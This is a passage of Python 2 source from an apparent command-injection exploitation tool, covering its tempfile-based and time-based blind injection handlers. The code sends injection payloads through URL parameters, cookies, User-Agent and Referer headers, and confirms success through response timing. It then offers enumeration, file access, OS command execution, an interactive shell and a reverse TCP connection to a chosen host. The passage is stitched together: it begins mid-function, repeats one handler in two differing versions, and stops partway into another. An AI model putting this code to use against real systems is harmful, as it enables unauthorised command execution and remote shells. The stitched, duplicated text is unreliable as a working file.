print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if menu.options.verbose:
sys.stdout.write(
"\r(*) Continue testing the " +
technique + "... ")
sys.stdout.flush()
break
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
export_injection_info = False
how_long = 0
injection_type = "Semiblind Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Log previous 'how_long' for later comparison
previous_how_long = how_long
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Encode payload to Base64
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if how_long == previous_how_long + delay:
# Time relative false positive fixation.
if len(TAG) == output_length:
tmp_how_long = how_long
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long)
if str(tmp_how_long) == str(how_long) and \
str(output) == str(randvcalc) and \
len(TAG) == output_length:
is_vulnerable = True
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
else:
percent = str(float_percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(float_percent)+"%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if how_long == previous_how_long + delay:
if (len(TAG) == output_length) and (is_vulnerable == True):
found = True
no_result = False
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n] > ").lower()
if file_access_again in settings.CHOISE_YES:
#print ""
tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Exploirt injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
while True:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.verbose:
print ""
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd == "?":
menu.shell_options()
continue
elif cmd.lower() == "quit":
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Exploirt injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
# percent = "0.2"
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
how_long_statistic = 0
export_injection_info = False
how_long = 0
injection_type = "Semiblind Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL
# percent = str(percent)+ "%"
# sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
# sys.stdout.flush()
# Calculate all possible combinations
total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = "".join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell:
payload = tfb_payloads.decision_alter_shell(
separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method
)
else:
payload = tfb_payloads.decision(
separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method
)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Encode payload to Base64
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write(
"\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL
)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = (num_of_chars * 100) / total
float_percent = "{0:.1f}".format(round(((num_of_chars * 100) / (total * 1.0)), 2))
# Statistical analysis in time responses.
how_long_statistic = how_long_statistic + how_long
# Reset the how_long_statistic counter
if output_length == tag_length - 1:
how_long_statistic = 0
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (
(url_time_response == 0 and (how_long - delay) >= 0)
or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
or (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1))
):
# Time relative false positive fixation.
false_positive_fixation = False
if settings.TARGET_OS == "win":
if len(TAG) == output_length and how_long > (how_long_statistic / output_length):
false_positive_fixation = True
else:
if (
len(TAG) == output_length
and delay == 1
and (how_long_statistic == delay)
or delay > 1
and (how_long_statistic == (output_length + delay))
and how_long == delay + 1
):
false_positive_fixation = True
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = (
settings.WIN_PYTHON_DIR
+ 'python.exe -c "print ('
+ str(randv1)
+ " + "
+ str(randv2)
+ ')"'
)
else:
cmd = (
"powershell.exe -InputFormat none write ("
+ str(randv1)
+ " + "
+ str(randv2)
+ ")"
)
else:
cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(
separator,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
randvcalc,
alter_shell,
how_long,
url_time_response,
)
if (
(url_time_response == 0 and (how_long - delay) >= 0)
or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
or (
url_time_response != 0
and (how_long - delay) > 0
and (how_long >= delay + 1)
)
):
if str(output) == str(randvcalc) and len(TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write(
"\r(*) Testing the " + technique + "... " + "[ " + percent + " ]"
)
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
raise
except:
percent = (num_of_chars * 100) / total
float_percent = "{0:.1f}".format(round(((num_of_chars * 100) / (total * 1.0)), 2))
if str(float_percent) == "100.0":
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(float_percent) + "%"
# Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (
(url_time_response == 0 and (how_long - delay) >= 0)
or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
or (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1))
):
if (len(TAG) == output_length) and (is_vulnerable == True):
found = True
no_result = False
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = (
" '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
)
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename, injection_type, technique
)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method, vuln_parameter, payload
)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace("\n", "\\n")
) + Style.RESET_ALL
if settings.TARGET_OS == "win":
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
time.sleep(1)
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
tfb_enumeration.do_check(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_enumeration.do_check(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n] > "
).lower()
if file_access_again in settings.CHOISE_YES:
tfb_file_access.do_check(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_file_access.do_check(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
if menu.options.verbose:
print ""
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, "__doc__", ""
) is not None and "libedit" in getattr(readline, "__doc__", ""):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input(
"""commix("""
+ Style.BRIGHT
+ Fore.RED
+ """os_shell"""
+ Style.RESET_ALL
+ """) > """
)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique, go_back, no_result
)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp()
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import (
cb_injector,
)
separator = checks.time_based_separators(
separator, http_request_method
)
whitespace = settings.WHITESPACES[0]
response = cb_injector.injection(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
# Export injection result
tfb_injector.export_injection_results(
cmd, separator, output, check_how_long
)
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
return True
elif gotshell in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
raise
break
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
again_warning = True
false_positive_warning = False
export_injection_info = False
how_long = 0
how_long_statistic = 0
injection_type = "Blind Command Injection"
technique = "time-based injection technique"
if menu.options.verbose:
print settings.INFO_SIGN + "Testing the " + technique + "... "
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique):
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename, http_request_method)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
